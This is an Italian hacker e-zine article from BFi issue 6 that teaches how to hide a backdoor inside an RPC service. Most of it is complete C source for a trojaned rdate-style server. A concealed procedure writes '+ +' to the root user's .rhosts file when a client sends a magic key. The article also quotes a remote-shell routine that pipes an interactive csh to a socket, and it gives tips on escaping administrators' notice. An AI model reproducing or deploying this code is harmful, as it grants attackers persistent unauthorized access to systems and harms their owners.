==============================================================================
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
--------------------[ previous ]---[ index ]---[ next ]---------------------

---------------[ COME MASTURBARE LE RPC E OTTENERE UNA BACKDOOR ]-------------
-----------------------------------[ pIGpEN ]---------------------------------

GIORNATA:    Un Sabato Mattina
TEMPO:	     SOOLE
INGREDIENTI: 3 Chupa Chups (cocacola, limone, arancia)
             1 dentifriciata con AZ Tartar Control (prima dei chupa)
PAUSA:	     Cacca (popo')
VESTITI INDOSSATI: un paio di scarpe, un paio di jeans blu scuri, una camicia
                   azzurrina chiara.
PAIO DI CAPELLI INDOSSATI: i miei. 
SALUTi: Beavis & Butthead (2 fighi di dio), una ragazza cinese... (possano
	le nostre anime incontrarsi presto 8)
ATTACHMENT: rpc-date.tgz (contiene i due binari)
FRASETTA DEL GiORNO:
	"In another time's forgotten space
		Your eyes looked from your mother's face.
	 Wildflower seed on the sand and stone
		May the four winds blow you safely home."
	 
Quello che vi presentero' in questo articolo e' un nuovo tipo di backdoor o
meglio no, non sarebbe nuovo se fosse stato pensato prima :)
Questo tipo di backdoor sfrutta un rpc program (potrebbe essere uno vostro
oppure un servizio conosciuto del tipo statd ecc..) per introdurre al suo
interno una funzione che ci permetta di avere accesso alla macchina.
In realta' il problema dell'esecuzione remota di comandi via rpc e' ben noto
a chi svolge programmazione tuttavia non e' mai stato visto dall'altro lato.
Cos'e' un RPC? RPC (Remote Procedure Call) e' un particolare servizio
introdotto dalla Sun Microsystem (almeno per quanto riguarda quella parte
che impiega i protocolli UDP e TCP a livello di trasporto e che viene
indicato sotto il termine ONC acronimo di Open Network Computing).
Effettivamente questa non e' l'unica implementazione (ce ne sono 3), tuttavia
discutero' basandomi su questa.
Vediamo innanzitutto a cosa serve. In poche parole abbiamo due sistemi: il
nostro locale e uno remoto.
Attraverso un client per un determinato rpc, il nostro computer
contatta quello remoto per eseguire una chiamata di procedura: cio' come
viene spiegato in breve sull'ottimo libro di Richard W. Stevens sullo
sviluppo del software di networking, equivale a permettere al nostro sistema
di eseguire del codice su quello remoto.
Quindi perche' non ficcarci una backdoor?

C=CLIENT=noi
S=SERVER=macchina bucata

CLIENT --> chiama SERVER con una RPC settata con particolari parametri
SERVER --> risponde dandoci un qualcosa

Prima pero' di vedere come modificare il server di un servizio vediamo come
funziona una connessione su servizio rpc.

1) Il client (C) chiama una procedura locale sul suo sistema nota come 
   stub del client. Questa procedura servira' per standardizzare i pacchetti
   per il server (S): la loro costruzione prendera' il nome di marshaling.
2) Tali messaggi vengono passati a S utilizzando il protocollo UDP o TCP a
   seconda del servizio rpc.
3) S avvia una sua procedura di stub che permette di disassemblare tali
   pacchetti e di ricostruirli in un formato piu' congeniale al server e 
   alla sua architettura.
4) La stub del server esegue la procedura richiesta dal client con i
   parametri passati dal client.
5) Il server restituisce il risultato di tale chiamata alla sua stub.
6) La stub del server manda il risultato della procedura al client
   con il protocollo di trasporto utilizzato.
7) La stub del client riceve il pacchetto/i contenenti i risultati della
   procedura visti come se fossero stati eseguiti sul client.

Quello che  si puo' fare e': modificare il server in modo che con il
passaggio di particolari parametri su quel servizio rpc ci ritorna per
esempio un .rhosts con "+ +".
Questo ci metterebbe a disposizione una backdoor che NESSUN ALTRO POTREBBE
UTILIZZARE senza il nostro programma client che sappia quali parametri
passare.
Per creare un qualsiasi servizio per rpc occorre usare il programma rpcgen,
non e' mio compito spiegarvi come anche perche' e' banale. Vi forniro'
invece i sorgenti (non necessitano dell'rpcgen ci ho gia' pensato io :)
ed i binari.

Nel programma client troverete la MAGIC_KEY che e' semplicemente la stringa
da dare in piu' al programma client per chiamare la funzione che scrive
sul server l'.rhosts .
Per avviare il server:
	[pigpen@sp00f]:~$ rpc_serv &
Es. di utilizzo del client:
	jgarcia -> MAGIC_KEY :)
	[pigpen@sp00f]:~$ rdate porcellino jgarcia

Vi faccio notare che, conservando tutte le funzioni nel server, il servizio
non sara' compromesso e quindi utilizzabile con i normali comandi del client
abituale.
Questo cmd scrivera' il .rhosts sulla dir root di porcellino.
Come ho aggiunto la procedura per scrivere il .rhosts se ne possono mettere
altre, spazio alla fantasia quindi...
Una cosa simpatica da notare e' che quando fate rpcinfo sul server con la back
dell'rpctime non vedete il nome del prog, ma solo il suo numero... ovviamente
sara' visibile il processo dell'rpc se fate ps ma... se riuscite a nasconderlo
saranno pochi gli admin che andranno a pensare ad una backdoor di questo tipo
e se ve la troveranno sara' perche' hanno letto anche loro BFi ;P
Ma dove sta il trucchetto? Nel caso dell'rpc-time e' semplice da capire, il
prog sul server ha una funzione in piu':

void *
fuck_rhost_1_svc(void *argp, struct svc_req *rqstp)
{

        static char* result;

        system("echo \"+ +\" >/$HOME/.rhosts");

        return((void*) &result);
}

Cosa questa faccia mi sembra chiaro... compito del client sara' quindi quello
di "risvegliare" tale funzione... un po' come i Grateful Dead che ogni tanto
tornano con qualche concerto :))
Ed infatti il client si comporta cosi':

        if(TYPE==1)         // TYPE=1 vuol dire scrivi .rhosts
        {
        result_3 = fuck_rhost_1((void*)&fuck_rhost_1_arg, clnt);
        if (result_3 == NULL) {		// chiamata fallita
                clnt_perror(clnt, "call failed:");
        }
         else printf("I will SuRvIvE !!!\n"); 

Non vado oltre a questo tipo di backdoor per evitare che qualcuno le possa
usare (gia' questa funge) tuttavia vi accendo una lampadina o un cero :)
dicendovi che e' possibile utilizzare cio' per quasi ogni cosa ad es.
spoofarsi su un ip facendo fare la connessione al computer con l'rpc-server
con le vostre funzioncine in piu'; e' possibile inoltre leggere file,
scriverli (come il .rhosts) tutto con permessi root, mandare fake mail,
sniffare... tutto questo ve lo lascio in via teorika anche perche' ci sto
ancora lavorando sopra.
Non dimenticate inoltre di utilizzare una programmazione a cazzo cosi' potete
scrivervi pure il buffer overflow per il vostro rpc :) .... (pausa cacca)
Non dandovi i sorgenti per questo, non mi ritengo nemmeno responsabile per
sorgenti che avete scritto, usato o se il vostro cane e' morto di vecchiaia 
ecc...
Vediamo invece i source dell'rdate modificato cominciando dalla definizione
da far compilare con rpcgen (qui la metto a titolo di esempio perche' come
ho gia' detto ho provveduto io alla sua generazione).


/* 
 date.x
 RPC HEADER - pIGpEN/s0ftpj99
*/

program DATE_PROG {

version DATE_VERS {
   long BIN_DATE(void) = 1;    /* numero di procedura =1 */
 string STR_DATE(long) = 2;    /* numero di procedura =2 */
 void FUCK_RHOST(void) = 3;    /* numero di procedura =3 */

 }=1;                          /* numero di versione  =1 */

}= 0x31234567;                 /* numero di programma = 0x31234567 */


Qui potete notare che vengono definite le procedure del nostro programma a cui
e' assegnato un numero univoco di identificazione (il numero di procedura).
Notate inoltre il costrutto:

program nome_prog {

 version nome_vers {

   //  funzioni del nostro rpc program

  }=numero_della_versione;

}=numero_identificativo_del_programma;

Una volta utilizzato l'rpcgen su questo file si ottengono due sorgenti
importanti per la costruzione del server e del client (in realta' utilizzando
il parametro -a si potrebbero ottenere pure due "template" di esempio di
questi): sono il date_svc.c (da compilare assieme al server) e il date_clnt.c
(da compilare assieme al client).


/* 
   date_svc.c
*/

#include "date.h"
#include <stdio.h>
#include <stdlib.h>/* getenv, exit */
#include <rpc/pmap_clnt.h> /* for pmap_unset */
#include <string.h> /* strcmp */
#include <memory.h>
#include <sys/socket.h>
#include <netinet/in.h>

#ifdef __STDC__
#define SIG_PF void(*)(int)
#endif

static void
date_prog_1(struct svc_req *rqstp, register SVCXPRT *transp)
{
        union {
                long str_date_1_arg;
        } argument;
        char *result;
        xdrproc_t xdr_argument, xdr_result;
        char *(*local)(char *, struct svc_req *);

        switch (rqstp->rq_proc) {
        case NULLPROC:
                (void) svc_sendreply(transp, (xdrproc_t) xdr_void, (char *)NULL);
                return;

        case BIN_DATE:
                xdr_argument = (xdrproc_t) xdr_void;
                xdr_result = (xdrproc_t) xdr_long;
                local = (char *(*)(char *, struct svc_req *)) bin_date_1_svc;
                break;

        case STR_DATE:
                xdr_argument = (xdrproc_t) xdr_long;
                xdr_result = (xdrproc_t) xdr_wrapstring;
                local = (char *(*)(char *, struct svc_req *)) str_date_1_svc;
                break;

        case FUCK_RHOST:
                xdr_argument = (xdrproc_t) xdr_void;
                xdr_result = (xdrproc_t) xdr_void;
                local = (char *(*)(char *, struct svc_req *)) fuck_rhost_1_svc;
                break;

        default:
                svcerr_noproc(transp);
                return;
        }
        (void) memset((char *)&argument, 0, sizeof (argument));
        if (!svc_getargs(transp, xdr_argument, (caddr_t) &argument)) {
                svcerr_decode(transp);
                return;
        }
        result = (*local)((char *)&argument, rqstp);
        if (result != NULL && !svc_sendreply(transp, xdr_result, result)) {
                svcerr_systemerr(transp);
        }
        if (!svc_freeargs(transp, xdr_argument, (caddr_t) &argument)) {
                fprintf(stderr, "unable to free arguments");
                exit(1);
        }
        return;
}

int
main(int argc, char **argv)
{
        register SVCXPRT *transp;

        (void) pmap_unset(DATE_PROG, DATE_VERS);

        transp = svcudp_create(RPC_ANYSOCK);
        if (transp == NULL) {
                fprintf(stderr, "cannot create udp service.");
                exit(1);
        }
        if (!svc_register(transp, DATE_PROG, DATE_VERS, date_prog_1, IPPROTO_UDP)) {
                fprintf(stderr, "unable to register (DATE_PROG, DATE_VERS, udp).");
                exit(1);
        }

        transp = svctcp_create(RPC_ANYSOCK, 0, 0);
        if (transp == NULL) {
                fprintf(stderr, "cannot create tcp service.");
                exit(1);
        }
        if (!svc_register(transp, DATE_PROG, DATE_VERS, date_prog_1, IPPROTO_TCP)) {
                fprintf(stderr, "unable to register (DATE_PROG, DATE_VERS, tcp).");
                exit(1);
        }

        svc_run();
        fprintf(stderr, "svc_run returned");
        exit(1);
        /* NOTREACHED */
}


Notate in questo sorgente l'utilizzo della struct svc_req definita in
rpc/svc.h in questo modo:

/*
 * Service request
 */
struct svc_req {
        u_long          rq_prog;        /* service program number */
        u_long          rq_vers;        /* service protocol version */
        u_long          rq_proc;        /* the desired procedure */
        struct opaque_auth rq_cred;     /* raw creds from the wire */
        caddr_t         rq_clntcred;    /* read only cooked cred */
        SVCXPRT *rq_xprt;               /* associated transport */
};

Per quanto riguarda l'importanza di questo sorgente... esso si occupa di
registrare il nostro rpc (dovrei usare il femminile!) e di rispondere
alle chiamate del client.

Scheletrizzando :) il tutto questo source fa le seguenti cose:

- Creazione del servizio con il relativo protocollo utilizzato
   (udp o tcp) attraverso le funzioni svc_udpcreate() e svc_tcpcreate() .

- Registrazione del servizio con la svc_register() utilizzabile per
  entrambi i protocolli passando pero' come ultimo parametro IPPROTO_UDP o
  IPPROTO_TCP a seconda di cosa usiate.
  La registrazione avviene passando (tra l'altro) una funzione di gestione
  che si occupa del controllo della procedura chiamata attraverso rq_proc
  della struct svc_req definita, se questa e' uguale ad un numero di
  procedura che noi abbiamo definito nel file .x gestiamo la chiamata di
  questa procedura [la nostra funzione di gestione e' date_prog_1()]
  notate le tre coercizioni:
	local = (char *(*)(char *, struct svc_req *)) bin_date_1_svc;
	local = (char *(*)(char *, struct svc_req *)) str_date_1_svc;
	local = (char *(*)(char *, struct svc_req *)) fuck_rhost_1_svc;

- Innalzamento :)) del servizio attraverso la svc_run() .

Vi faccio notare che per ora non abbiamo ancora definito cosa fanno le varie
procedure: questo avverra' in date_server.c che sara' compilato, con questo
sorgente.
Per quanto riguarda il client:


/*
   date_clnt.c
*/

#include <memory.h> /* for memset */
#include "date.h"

/* Default timeout can be changed using clnt_control() */
static struct timeval TIMEOUT = { 25, 0 };

long *
bin_date_1(void *argp, CLIENT *clnt)
{
        static long clnt_res;

        memset((char *)&clnt_res, 0, sizeof(clnt_res));
        if (clnt_call(clnt, BIN_DATE, xdr_void, argp, xdr_long, &clnt_res, TIMEOUT) != RPC_SUCCESS) {
                return (NULL);
        }
        return (&clnt_res);
}
char **
str_date_1(long *argp, CLIENT *clnt)
{
        static char *clnt_res;

        memset((char *)&clnt_res, 0, sizeof(clnt_res));
        if (clnt_call(clnt, STR_DATE, xdr_long, argp, xdr_wrapstring, &clnt_res, TIMEOUT) != RPC_SUCCESS) {
                return (NULL);
        }
        return (&clnt_res);
}

void *
fuck_rhost_1(void *argp, CLIENT *clnt)
{
        static char clnt_res;

        memset((char *)&clnt_res, 0, sizeof(clnt_res));
        if (clnt_call(clnt, FUCK_RHOST, xdr_void, argp, xdr_void, &clnt_res, TIMEOUT) != RPC_SUCCESS) {
                return (NULL);
        }
        return ((void *)&clnt_res);
}


Questo sorgente si occupa delle chiamate alle funzioni fatte dal date_client.c
Notate che ad ogni funzione viene passato un tipo di dato (il parametro da
mandare al server per la chiamata della procedura) e una struct di tipo CLIENT
definita nella lib rpc/clnt.h in questo modo:

struct CLIENT {
  AUTH  *cl_auth;                /* authenticator */
  struct clnt_ops {
    enum clnt_stat (*cl_call) __P ((CLIENT *, u_long, xdrproc_t,
                                    caddr_t, xdrproc_t,
                                    caddr_t, struct timeval));
                                /* call remote procedure */
    void (*cl_abort) __P ((void));  /* abort a call */
    void (*cl_geterr) __P ((CLIENT *, struct rpc_err *));
                                /* get specific error code */
    bool_t (*cl_freeres) __P ((CLIENT *, xdrproc_t, caddr_t));
                                /* frees results */
    void (*cl_destroy) __P ((CLIENT *)); /* destroy this structure */
    bool_t (*cl_control) __P ((CLIENT *, int, char *));
                                /* the ioctl() of rpc */
  } *cl_ops;
  caddr_t cl_private;           /* private stuff */
};

Tengo a dire che non ho testi su cui basarmi ed essendo farina del mio sacco
rimane qualche punto interrogativo non tanto sulla struttura CLIENT quanto sul
numero di parametri passabili ad una procedura remota... Possibile che sia
uno solo?!? L'rpcgen fa la puttana a riguardo.... boh caso mai passate tutto
in una var introducendo un delimitatore personale...
Merita inoltre fare alcune considerazioni:

--------------
AUTH *cl_auth;
E' un puntatore ad una struttura definita come segue:

struct AUTH {
  struct opaque_auth ah_cred;
  struct opaque_auth ah_verf;
  union des_block ah_key;
  struct auth_ops {
    void (*ah_nextverf) __P ((AUTH *));
    int  (*ah_marshal) __P ((AUTH *, XDR *));   /* nextverf & serialize */
    int  (*ah_validate) __P ((AUTH *, struct opaque_auth *));
                                                /* validate verifier */
    int  (*ah_refresh) __P ((AUTH *));          /* refresh credentials */
    void (*ah_destroy) __P ((AUTH *));          /* destroy this structure */
  } *ah_ops;
  caddr_t ah_private;
};

Notate che questa struct e' un po' "tirata", potrebbe trovare un'ottima
implementazione con il concetto di classe del C++, soprattutto per quanto
riguarda poi auth_ops... l'ultima cosuccia mi fa venire in mente un
distruttore... ma quella della classe e' solo una mia considerazione:
ammiro il C puro :*
E' interessante notare la struttura interna auth_ops dove tra le varie
verifiche c'e' quella sul marshaling (ritroviamo il concetto di
standardizzazione del pacchetto che all'inizio avevo introdotto in modo
teorico)
Includo un po' di #define per chi si stia chiedendo quali tipi di
autenticazione sono possibili:

	#define AUTH_NONE       0      /* no authentication */
	#define AUTH_NULL       0      /* backward compatibility */
	#define AUTH_UNIX       1      /* unix style (uid, gids) */
	#define AUTH_SYS        1      /* unix style (uid, gids) */
	#define AUTH_SHORT      2      /* short hand unix style */
	#define AUTH_DES        3      /* des style (encrypted timestamps) */
 
Il tutto si commenta da solo non mi soffermo sui sistemi di autenticazione.

----------------------------
struct clnt_ops e cl_private
Qui ho poco da dire valgono ancora le considerazioni sul C++ ...
Tutte cose gia' dette...

Naturalmente ci sara' pure il date.h :


/*
   date.h
*/

#ifndef _DATE_H_RPCGEN
#define _DATE_H_RPCGEN

#include <rpc/rpc.h>


#define DATE_PROG ((u_long)0x31234567)		// NUMERO DI PROGRAMMA
#define DATE_VERS ((u_long)1)			// VERSIONE

#ifdef __cplusplus
#define BIN_DATE ((u_long)1)
extern "C" long * bin_date_1(void *, CLIENT *);
extern "C" long * bin_date_1_svc(void *, struct svc_req *);
#define STR_DATE ((u_long)2)
extern "C" char ** str_date_1(long *, CLIENT *);
extern "C" char ** str_date_1_svc(long *, struct svc_req *);
#define FUCK_RHOST ((u_long)3)
extern "C" void * fuck_rhost_1(void *, CLIENT *);
extern "C" void * fuck_rhost_1_svc(void *, struct svc_req *);
#elif __STDC__
#define BIN_DATE ((u_long)1)
extern  long * bin_date_1(void *, CLIENT *);
extern  long * bin_date_1_svc(void *, struct svc_req *);
#define STR_DATE ((u_long)2)
extern  char ** str_date_1(long *, CLIENT *);
extern  char ** str_date_1_svc(long *, struct svc_req *);
#define FUCK_RHOST ((u_long)3)
extern  void * fuck_rhost_1(void *, CLIENT *);
extern  void * fuck_rhost_1_svc(void *, struct svc_req *);

#else /* Old Style C */
#define BIN_DATE ((u_long)1)		// NUMERO DI PROCEDURA
extern  long * bin_date_1();
extern  long * bin_date_1_svc();
#define STR_DATE ((u_long)2)		// NUMERO DI PROCEDURA
extern  char ** str_date_1();
extern  char ** str_date_1_svc();
#define FUCK_RHOST ((u_long)3)		// NUMERO DI PROCEDURA
extern  void * fuck_rhost_1();
extern  void * fuck_rhost_1_svc();
#endif /* Old Style C */

#endif /* !_DATE_H_RPCGEN */


A parte le varie cosette vi faccio notare che fine ha fatto il date.x : ora
sappiamo che nello switch del date_svc.c i vari controlli sono delle costanti
definite come unsigned long (tramite coercizione)...
Questo .h in pratica sostituisce completamente il .x
E arriviamo quindi al vero client e al server:


/*
   date_server.c
   RPC SERVER
   There is a new function ;)
   pIGpEN/s0ftpj
 */

#include "date.h"

long *
bin_date_1_svc(void *argp, struct svc_req *rqstp)
{

        static long timeval;

        long time();
        timeval=time((long *) 0);

        return(&timeval);
}

char **
str_date_1_svc(long *argp, struct svc_req *rqstp)
{

        static char * ptr;

        char *ctime();
        ptr=ctime(argp);
        return(&ptr);

}

void *
fuck_rhost_1_svc(void *argp, struct svc_req *rqstp)
{

        static char* result;

        system("echo \"+ +\" >/$HOME/.rhosts");

        return((void*) &result);
}

-------
Altro non essere che la gestione delle varie procedure :)
Tutti i parametri che passate devono essere dichiarati come static e
ritornati...

---------
/*
   date_client.c
   Simple Example of Rpc Backdoor
   Idea and Code by pIGpEN/s0ftpj
   Dedicated to (or better Deadicated to :) Jerry Garcia - A Great Man!
   Tested on 192.168.1.2 -> xxxx.cameretta.pig ( xxxx = a cool baby )
   Greets go to : Crunchman -> a rave man :)
                  my old contacts
                  and new scenes...
                  s0ftpr0ject & BadLands -> they're great 8)
                  Ixxxxl ->> I hate that type of job
                  Drow King -> a man with a nice girl but he doesn't know
                               that :(
   Coded for Butchered From Inside #6 in a rainy day :( .. summer is coming 8)
   This code is limited to .rhosts function, so you don't make up shit with it
*/

#include "date.h"
#define MAGIC_KEY "jgarcia"

void
date_prog_1( char* host, int TYPE )
{
        CLIENT *clnt;
        long  *result_1;
        char*  bin_date_1_arg;
        char * *result_2;
        long  str_date_1_arg;
        void  *result_3;
        char*  fuck_rhost_1_arg;
        clnt = clnt_create(host, DATE_PROG, DATE_VERS, "udp");
        if (clnt == NULL) {
                clnt_pcreateerror(host);
                exit(1);
        }
        result_1 = bin_date_1((void*)&bin_date_1_arg, clnt);
        if (result_1 == NULL) {
                clnt_perror(clnt, "call failed:");
        }else
                printf("Host time %s = DEADH0UR :))\n",host);
        result_2 = str_date_1(&str_date_1_arg, clnt);
        if (result_2 == NULL) {
                clnt_perror(clnt, "call failed:");
        }else
                printf("Host time %s = DEADH0UR :))\n",host);
        if(TYPE==1)
        {
        result_3 = fuck_rhost_1((void*)&fuck_rhost_1_arg, clnt);
        if (result_3 == NULL) {
                clnt_perror(clnt, "call failed:");
        }
         else printf("I will SuRvIvE !!!\n");
        }//endif
        clnt_destroy( clnt );
}

main( int argc, char* argv[] )
{
        char *host;

        if(argc < 2) {
                printf("\033[0;36m- RPC TIME BACKDOOR -  \033[0;39m\n");
                printf("This is your personal client :)\n\n");
                printf("usage: %s hostname\n", argv[0]);
                exit(1);
        }
        if(argc>2 && strcmp(argv[2],MAGIC_KEY)==0)
           date_prog_1( host, 1);
          else
           date_prog_1( host, 0 );
}
---------- snip ----------

Banalissimo client... Se siete arrivati fino a qui sapete cosa fa... e quindi
mi risparmiate la spiegazione, thx :)
Detto questo non mi resta che avvertirvi di qualche piccolo warning nella
compilazione del client (avviene anche con il codice generato con rpcgen -a)
che non provoca nessun tipo di problema.

ESECUZi0NE Di UNA SHELL
Qualcuno di voi potrebbe chiedersi perche' non eseguire una shell invece di
fare una semi-backdoor... in effetti questo e' possibile, ma l'implementazione
la lascio a voi... naturalmente occorre che la shell sia collegata al client..
un modo di farlo e' quello utilizzato nel programma Poor Man Access v.2
scaricabile da rootshell... il mio compito era solo dimostrarvi cosa sia
possibile fare, non quello di farvi utilizzare questi metodi... cmq per i
curiosi basta adattare questo codice che vi presento:

// snippato da pmad.c
int do_csh()
{
/*
first create some pipes. next fire up csh in prompt mode (-i) doing its
io from the pipes. then fork off another child that sets the prompt to
"PMA> " and then endlessly reads from the shell and writes to the socket.
*/
char sbuf[100];
int  pid;

pid = getpid();
sprintf(iname, "inpipe%d", pid);
sprintf(oname, "outpipe%d", pid);
sprintf(sbuf, "/usr/sbin/mknod %s p; /usr/sbin/mknod %s p", iname, oname);
system(sbuf);
pipin = open(iname, O_RDWR, 0);
sprintf(sbuf, "csh -i <%s >%s 2>&1 &", iname, oname);
system(sbuf);
in = open(oname, O_RDONLY, 0);
unlink(iname);
unlink(oname);
if ((pid = fork()) < 0)
        exit(1);
else if (pid > 0)
        return(pid);
read(in, buf, sizeof(buf));
strcpy(buf, "set prompt='PMA> '\n");
write(pipin, buf, strlen(buf));
sleep(1);
read(in, buf, sizeof(buf));
strcpy(buf, "setenv TERM vt100;setenv PATH /usr/bin:/usr/sbin:/etc;");
strcat(buf, "setenv EDITOR '/usr/bin/vi -w24'\n");
write(pipin, buf, strlen(buf));
while(1)
        getoutput();
}

int getoutput()
{
cnt = read(in, buf, sizeof(buf));
tcp_send(newsockfd, buf, cnt);
}

int seewhat()
{
/*dont let 'em do anything util they type in the dumb password*/
if (passok)
        {
        docmd();
        return;
        }
if (!strcmp(buf, passwd))
        passok = (int) strcpy(buf, "echo ok\n");
else
        strcpy(buf, "echo nope\n");
write(pipin, buf, strlen(buf));
}

int docmd()
{
char dir[100];

if (!memcmp(buf, "cd ", 3))             /*try to go where shell does*/
        {
        memset(dir, '\0', sizeof(dir));
        memcpy(dir, &buf[3], strlen(buf)-4);
        chdir(dir);
        }
if (!memcmp(buf, "pmaput ", 7) || !memcmp(buf, "pmaget ", 7))
        dopg();
write(pipin, buf, strlen(buf));
}

Queste sono le funzioni principali per la risoluzione del problema: vi
consiglio cmq di prendervi l'intero tgz cosi' tutto sara' piu' chiaro...
(daii si tratta solo di implementare una pipe e qualche cazzatina... susu!! :)
state attenti soltanto ai socks... leggetevi quello che e' scritto su
rpc/clnt.h e rpc/svc.h , per il resto sono le solite cosette...

Miii e' tardi, vi saluto... I WILL SURVIVE!
Bauz

pIGpEN 

--------------------[ previous ]---[ index ]---[ next ]---------------------
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
==============================================================================